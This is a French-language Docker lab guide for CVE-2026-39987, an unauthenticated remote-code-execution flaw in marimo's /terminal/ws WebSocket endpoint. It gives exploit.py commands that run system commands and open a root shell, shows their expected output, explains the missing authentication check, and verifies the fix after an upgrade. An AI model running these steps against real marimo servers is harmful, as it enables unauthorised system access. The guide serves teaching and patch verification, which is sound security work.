
# Laboratoire Docker pédagogique démontrant CVE-2026-39987, une RCE sans authentification via contournement de l'authentification WebSocket dans marimo, avec script d'exploitation et étapes de vérification du correctif.
Exécution de code à distance avant authentification via contournement de l'authentification WebSocket du terminal
Un laboratoire Docker pédagogique pour comprendre, reproduire et corriger cette vulnérabilité critique dans marimo.
| Cible | marimo <= 0.20.4 exécuté en mode edit avec authentification par jeton activée |
| Attaquant | Tout hôte avec Python 3 et websocket-client |
| Objectif | Obtenir un shell racine interactif via /terminal/ws sans fournir de jeton d'authentification |
| Type | Contournement d'authentification → Exécution de code à distance (RCE) |
| Correctif | marimo >= 0.23.0 |
⚠️ Usage éthique uniquement : Ce laboratoire est conçu pour les chercheurs en sécurité, les développeurs et les étudiants afin de comprendre comment les vulnérabilités de contournement d'authentification surviennent et comment les corriger correctement. À exécuter uniquement dans des environnements isolés.
┌─────────────────────────────────────────────────────────────┐
│ Docker Network │
│ (cve-lab) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ marimo-vulnerable │ │ marimo-attacker │ │
│ │ (Target) │ │ (Attacker) │ │
│ │ Port: 2718 │ │ Python 3.12 │ │
│ │ Auth: Token │◄─────│ exploit.py │ │
│ │ marimo: 0.20.4 │ │ │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
Fichiers de ce laboratoire :
| Fichier | Rôle |
|---|---|
Dockerfile.target | Construit le serveur marimo vulnérable |
docker-compose.yml |
# Cloner le dépôt
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# Démarrer le laboratoire
docker-compose up --build -d
# Exécuter l'exploit
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# Obtenir un shell interactif
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
# Créer un répertoire de travail et placer ces fichiers à l'intérieur :
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# Construire et démarrer la cible
docker-compose up --build -d
# Vérifier que la cible est en cours d'exécution
docker ps
# Vous devriez voir : marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
Ce qui se passe :
0.20.4 (version vulnérable)edit avec l'authentification --token explicitement activée2718 est exposé sur votre hôteAvant d'exploiter, vérifions que la cible est correctement protégée sur les points de terminaison légitimes :
# Essayer d'ouvrir l'interface principale dans un navigateur ou via curl
curl -s http://127.0.0.1:2718/
# Attendu : Redirection vers la page de connexion ou 401/403 (jeton requis)
# Essayer le WebSocket principal (/ws) sans jeton
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Attendu : Connexion rejetée ou fermée immédiatement en raison de l'authentification manquante
Observation clé : Les points de terminaison principaux de l'application appliquent correctement l'authentification. La vulnérabilité réside dans un point de terminaison secondaire qui a été négligé.
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
Sortie attendue :
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
Vous obtiendrez une invite $ où vous pourrez exécuter des commandes système arbitraires :
[+] Got interactive shell! Type 'exit' to quit.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Connection closed.
La vulnérabilité existe en raison d'un contrôle d'authentification incohérent entre les points de terminaison WebSocket :
┌─────────────────────────────────────────────────────────────────┐
│ Authentication Middleware (Starlette) │
│ ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│ └── Does NOT automatically close WebSocket connections │
└─────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────┐
│ /ws (Main) │ │ /terminal/ws │
│ │ │ (Terminal) │
│ ✓ validate_auth()│ │ ✗ NO auth check │
│ ✓ @requires("edit")│ │ ✓ SessionMode.EDIT│
│ │ │ ✓ supports_terminal()│
│ Rejects unauth │ │ ✓ Accepts immediately│
└──────────────────┘ └──────────────────┘
Middleware d'authentification (Starlette AuthenticationMiddleware) marque les connexions non authentifiées comme UnauthenticatedUser mais ne ferme pas automatiquement les connexions WebSocket.
Points de terminaison corrects (par exemple, /ws) appellent validate_auth() ou utilisent @requires("edit"), rejetant les clients non authentifiés.
Point de terminaison vulnérable (/terminal/ws) vérifie uniquement :
SessionMode.EDIT — garantit que le serveur est en mode éditionsupports_terminal() — garantit que la fonctionnalité terminal est disponibleawait websocket.accept() sans aucun contrôle d'authentification.Impact : pty.fork() génère un shell PTY complet s'exécutant en tant qu'utilisateur du serveur (root dans l'image Docker par défaut), donnant à l'attaquant un accès système complet.
Le correctif ajoute une validation d'authentification appropriée au point de terminaison /terminal/ws, garantissant qu'il correspond à la posture de sécurité des autres points de terminaison.
Mettez à niveau la cible vers la version corrigée et réexécutez l'exploit pour confirmer le correctif :
# Modifier Dockerfile.target : remplacer marimo==0.20.4 par marimo==0.23.0
# Ou utiliser : sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target
docker-compose down
docker-compose up --build -d
# Réessayer l'exploit
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
Attendu après le correctif :
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required
La connexion est désormais rejetée/fermée immédiatement ; aucun shell n'est obtenu. ✅
# Arrêter et supprimer les conteneurs
docker-compose down -v
# Supprimer l'image construite
docker rmi cve-lab_target
# Nettoyer les images orphelines
docker image prune -f
Conçu à des fins pédagogiques. À utiliser de manière responsable. 🔒
| Orchestre les conteneurs cible et attaquant |
exploit.py | Script d'exploit PoC (commande unique + mode interactif) |
LAB_GUIDE.md | Ce guide |
| Problème | Solution |
|---|
Connection refused | Assurez-vous que le conteneur est en cours d'exécution : docker ps et vérifiez les journaux avec docker logs marimo-vulnerable |
ModuleNotFoundError: No module named 'websocket' | Installez le client : pip install websocket-client |
| Aucune sortie de l'exploit | Augmentez le délai d'attente : python exploit.py ... --timeout 20 |
| Le conteneur se ferme immédiatement | Vérifiez la syntaxe du Dockerfile et assurez-vous que le notebook test.py est créé correctement |
| Permission refusée | Assurez-vous que le démon Docker est en cours d'exécution et que vous disposez des autorisations appropriées |